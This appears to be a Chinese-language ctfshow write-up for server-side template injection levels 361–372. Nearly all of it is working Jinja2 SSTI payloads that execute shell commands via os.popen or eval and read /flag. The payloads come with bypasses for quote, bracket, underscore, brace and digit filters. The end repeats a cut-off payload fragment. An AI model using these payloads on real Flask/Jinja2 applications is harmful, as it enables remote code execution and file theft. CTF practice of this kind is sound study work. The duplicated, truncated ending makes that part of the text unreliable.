ctfshow–SSTI
361、
{{7*‘7’}}回显是7777777,判断是jinjia2模板。
{{''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /f*').read()}}
''.__class__.mro__[1].__subclasses__()
查看object下的所有子类集合。
362、
在__builtin__
中有众多的可用函数,包括eval
1:
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}
2:
?name={{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}}
x.__init.globals也可以找到__builtins__ x是任意英文字母组合
3:
?name={% for i in ''.__class__.__mro__[1].__subclasses__() %}{% if i.__name__ == '_wrap_close' %}{% print i.__init__.__globals__['popen']('ls').read() %}{% endif %}{% endfor %}
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
这种利用{{%%}}逻辑语句进行遍历,寻找os._wrap_close的这个类,此类中有popen函数
363、(过滤了单双引号)
使用requests.args.x1
传递GET参数x1,从而避免单双引号的使用
?name={{x.__init__.__globals__[request.args.x1].eval(request.args.x2)}}&x1=__builtins__&x2=__import__('os').popen('cat /f*').read()
还可以用open函数直接打开
?name={{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/flag
popen
函数
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.args.x1](request.args.x2).read()}}&x1=popen&x2=cat+/f*
364、
过滤了args
,使用cookies
替代就可以
365、
增加过滤了[]
可以用__getitem__
用来获取序号
"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
?name={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
cookie传参:x1=__builtins__;x2=__import__('os').popen('cat /f*').read()
366、
过滤了_(下划线),可以用attr()+requests.args.x构造
attr():attr用于获取变量
(过滤器与变量之间用管道符(|)隔开,阔哈中可以有可选参数。可以链接多个过滤器。一个过滤器的输出应用于下一个过滤器)
""|attr("__class__")
相当于
"".__class__
?name={{(x|attr(request.cookies.x3)|attr(request.cookies.x4)|attr(request.cookies.x5))(request.cookies.x1).eval(request.cookies.x2)}}
cookie:x3=__init__;x4=__globals__;x5=__getitem__;x1=__builtins__;x2=__import__('os').popen('cat /f*').read()
367,同上
368、
过滤了{{,使用{%%}绕过
?name={% print(x|attr(request.cookies.x3)|attr(request.cookies.x4)|attr(request.cookies.x5))(request.cookies.x1).eval(request.cookies.x2)%}
cookie:x3=__init__;x4=__globals__;x5=__getitem__;x1=__builtins__;x2=__import__('os').popen('cat /f*').read()
369、
?name=
{% set po=dict(po=a,p=a)|join%} #dict()|join 拼接名的方式,此处得到变量po=pop
{% set a=(()|select|string|list)|attr(po)(24)%} #通过pop(24)选择到"_"下划线,并赋给a
{% set ini=(a,a,dict(init=a)|join,a,a)|join() %} #ini=__init__
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set grti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} #x=q.__init__.__globals__.__getitem__('__builtins__')
{% set chr=x.chr %}
{% set file=chr(47)%2dchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%} #file=/ flag
{% print(x.open(file).read())%}
?name={% set po=dict(po=a,p=a) | join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join() %}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr %}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{% print(x.open(file).read())%}
?name=
{% set a=(()|select|string|list).pop(24) %}
{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
思路是利用dict()|join拼接我们需要的字符串
370、
过滤了0-9
?name=
{% set two=(dict(aa=a)|join|count)%} #用这种方法表示数字
{% set three=(dict(aaa=a)|join|count)%}
{% set four=(dict(aaaa=a)|join|count)%}
{% set seven=(dict(aaaaaaa=a)|join|count)%}
{% set eight=(dict(aaaaaaaa=a)|join|count)%}
{% set nine=(dict(aaaaaaaaa=a)|join|count)%}
{% set ten=(dict(aaaaaaaaaa=a)|join|count)%}
{% set twofour=( two~four)|int%}
{% set a=(()|select|string|list).pop(twofour)%}
{% set globals=(a,a,dict(globals=s)|join,a,a)|join%}
{% set init=(a,a,dict(init=v)|join,a,a)|join%}
{% set builtins=(a,a,dict(builtins=c)|join,a,a)|join%}
{% set a=(lipsum|attr(globals)).get(builtins)%}
{% set chr=a.chr%}
{% print a.open(chr((four~seven)|int)~chr((ten~two)|int)~chr((ten~eight)|int)~chr((nine~seven)|int)~chr((ten~three)|int)).read()%}
371、372没看懂怎么构造反弹shell的,过段时间再看。
int a.open(chr((fourseven)|int)chr((tentwo)|int)chr((teneight)|int)chr((nineseven)|int)chr((ten~three)|int)).read()%}
371、372没看懂怎么构造反弹shell的,过段时间再看。